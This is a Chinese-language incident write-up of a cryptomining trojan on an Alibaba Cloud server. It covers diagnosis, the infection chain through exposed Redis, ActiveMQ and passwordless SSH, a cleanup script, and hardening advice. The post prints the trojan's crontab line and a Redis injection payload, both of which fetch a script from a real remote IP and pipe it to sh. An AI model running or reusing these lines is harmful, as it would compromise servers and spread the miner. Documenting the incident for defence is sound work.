歡迎光臨
每天分享高質量文章

記一次阿裡雲被植入挖礦木馬事件

來自:麻辣軟硬體(微訊號:VOSDeveloper)

很多朋友都在使用阿裡雲,但遇到過阿裡雲被植入木馬的情況麼?小編今天就遇到了。阿裡雲有自己的安全機制,一般情況下不會有什麼問題,那木馬又是被怎麼植入的呢?今天為您解析。

起因

今天,同事說我負責的模組在阿裡雲上不工作了,我趕忙遠端登入檢視。

伺服器的癥狀

1、敲命令的時候,終端的字元回傳很快,但是命令的響應時間較長;
2、伺服器記憶體32GB,剩餘200MB;
3、CPU跑到了99%;
4、我負責的模組之前一直工作正常,穩定性好,沒修改過配置,但現在不能工作;
5、檢視我負責的模組配置正常、執行正常,但部分服務出錯;
6、top命令未發現有高耗CPU的行程,但是有大量的kworkerds行程。

定位分析

病癥1、3、6說明是阿裡雲伺服器已經產生了異常。

根據病癥4、5一步步梳理流程,核對日誌,定位問題,最終發現,redis可以正常提供服務,但程式無法將資料掃清到redis,導致分別負責讀寫的兩個模組資料長時間不能同步,重啟redis後服務正常。但問題需要進一步分析。

查詢木馬

伺服器是與別人共用的,其他的服務,我們不知道是否有用。但伺服器卡頓,實在影響除錯效率,搜尋了一下kworkerds,才知道是個挖礦的木馬程式。

檢視木馬行程數

1[root@xxx ~]# ps -ef | grep -v grep |grep kworkerds | wc -l
2385

kill掉所有木馬行程

1[root@xxx ~] # ps auxf | grep -v grep | grep kworkerds | awk '{print $2}' | xargs kill -9

檢視開機啟動項和任務

 1[root@XXX ~]# systemctl list-unit-files
2(沒發現問題,就不貼進來了)
3[root@XXX ~]# cat /etc/rc.local
4(沒發現問題,就不貼進來了)
5[root@XXX ~]# cat /etc/crontab
6...
701 * * * * root run-parts /etc/cron.hourly
802 4 * * * root run-parts /etc/cron.daily
90 1 * * * root /usr/local/bin/dns
10[root@XXX ~]# crontab -l
11*/23 * * * * (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh

“/etc/crontab”裡的內容看起來好像是正常,但是“crontab -l”中顯示的內容有些來路不明。

於是下載程式碼檢視

1[root@xxx ~]# (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)
2(木馬的程式碼我就不貼進來了)

限於篇幅,木馬的程式碼就不展示在此了,大家可以自行下載檢視,記住,下載的時候要把”|sh”去掉,當心玩火自焚。

分析木馬

木馬指令碼寫得還是不錯的,風格整齊,邏輯嚴謹。出色地完成了以下功能:

1、刪除阿裡云云盾客戶端和阿裡雲監控程式;
2、停止、刪除主機已經存在的其他挖礦程式;
3、下載挖礦程式和配置檔案並執行;
4、約束木馬程式,防止觸發伺服器效能監測工具告警;
5、設定任務計劃,保持更新,持續感染主機;
6、透過本機感染其他主機;
7、清空操作日誌,篡改檔案修改時間,隱藏自己的訪問蹤跡。

木馬中同時用了shell和python兩種指令碼,指令碼逐層巢狀,對於一些敏感的程式碼,使用了base64進行加密,針對不同的系統平臺有不同的處理,同時鎖定了自己修改的檔案,防止被別的程式隨意修改,提供遠端服務的IP地址來自非洲東部的塞席爾共和國。

木馬是如何傳播的

傳播方式

木馬傳播方式有三種,如下:

1、activeMQ
2、redis
3、ssh的免密碼登入

傳播思路

木馬感染的步驟如下:

1、透過掃描”xxx.xxx.0.0/16″網段內的所有IP的6379和8186兩個埠;

2、如果可以連線,那麼以key-value的形式寫入資料;

1'set SwE3SC "\t\n*/10 * * * * root (curl -fsSL http://185.10.68.91/raw/68VYMp5T||wget -q -O- http://185.10.68.91/raw/68VYMp5T)|sh\n\t"
'

 

3、將該條資料以檔案的形式儲存到定時任務的檔案目錄,如/var/spool/cron/root等;
4、下個定時週期到來時,伺服器自動下載遠端指令碼並執行;
5、遍歷該主機可以免密碼登入的其他主機,遠端連線並執行程式碼。

遠端指令碼執行時,會重新修改定時任務等檔案,保證可以持續感染主機,同時也隱藏了第一次感染的痕跡。之後每個定時週期到來時,都會重覆4、5兩個步驟。

排查漏洞

伺服器中沒有activeMQ,沒有.ssh檔案夾。小編也根據程式碼流程,感染了一下自己的redis,但是並沒有達到預期的結果。

本人用的redis檔案儲存的時候是二進位制的,不是字串,根本無法被定時任務執行,但是修改感染指令碼,可以完成駭客設定的既定思路。

結合阿裡雲之前修改過密碼的情況,本次感染可能有兩種來源:

 

1、以前發現了被感染,但木馬沒有被清理乾凈;
2、木馬作者會定期修改自己的程式碼來感染不同版本的redis,甚至是去利用其它軟體的漏洞。

另外一個程式碼變動的證據就是netstat命令的二進位制檔案遭到篡改,這顯然是為了應對運維人員排查異常網路連線而設計的,但本次檢查木馬程式碼時,並沒有發現與netstat命令有關的操作。

清理木馬

清理過程分兩步:刪除木馬檔案和修補當前漏洞。

刪除木馬檔案

根據木馬的程式碼,寫了清理指令碼,如下:

 1#!/bin/bash
2ps auxf | grep -v grep | grep kworkerds | awk '{print $2}' | xargs kill -9
3
4chattr -i /usr/local/bin/dns /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/ld.so.preload
5echo "" > /usr/local/bin/dns
6echo "" > /etc/cron.d/root
7echo "" > /etc/cron.d/apache
8echo "" > /var/spool/cron/root
9echo "" > /var/spool/cron/crontabs/root
10rm -rf /etc/cron.hourly/oanacroner
11rm -rf /etc/cron.daily/oanacroner
12rm -rf  /etc/cron.monthly/oanacroner
13
14sed -i '/cron.hourly/d' /etc/crontab
15sed -i '/cron.daily/d' /etc/crontab
16sed -i '/usr/local/bin/dns/d' /etc/crontab
17
18#sed -i '$d' /etc/ld.so.preload
19rm -rf /usr/local/lib/libntpd.so
20
21#/tmp/.a可以不刪,木馬是透過此檔案判斷是否要解除安裝阿裡雲盾
22#rm -rf /tmp/.a
23rm -rf /bin/kworkerds
24rm -rf /tmp/kworkerds
25rm -rf /usr/sbin/kworkerds
26rm -rf /etc/init.d/kworker
27chkconfig --del kworker

指令碼僅供大家參考,在執行之前還是要對照一下具體的環境。

除此之外,還需要排查一下系統中是否有異常使用者,異常的服務和異常的監聽埠。畢竟伺服器被入侵過,絕不能等閑視之。

修補漏洞

以redis為例,修補漏洞有很多種方法:

1、限制埠,使其對外不可連線;
2、不要使用root執行reids;
3、及時更新軟體,修補漏洞;
4、修改預設埠;
6。對重要命令重新命名;
。。。
關於這個問題,阿裡雲也有詳細的安全加固方案:
https://help.aliyun.com/knowledge_detail/37447.html

編者的話

駭客一詞聽起來感覺酷酷的,因為世界上確有一批崇尚用技術實現“開放、自由、真實、平等、美好生活”的人,他們離經叛道,閃閃發光。然而,通常情況下非法獲取利益的駭客僅僅是一個小偷而已,喜歡的是不勞而獲,而不是技術本身,技術水平也只能是一般。

希望大家從技術交流,防範風險的角度看待文中提供的木馬資料,不要走上違法犯罪的道路。從另一個角度講,資訊保安無小事,文中的木馬僅僅是挖礦,事實上,該漏洞足以讓駭客在你的伺服器上做任何事,大家萬萬不可掉以輕心。

已同步到看一看
贊(0)

分享創造快樂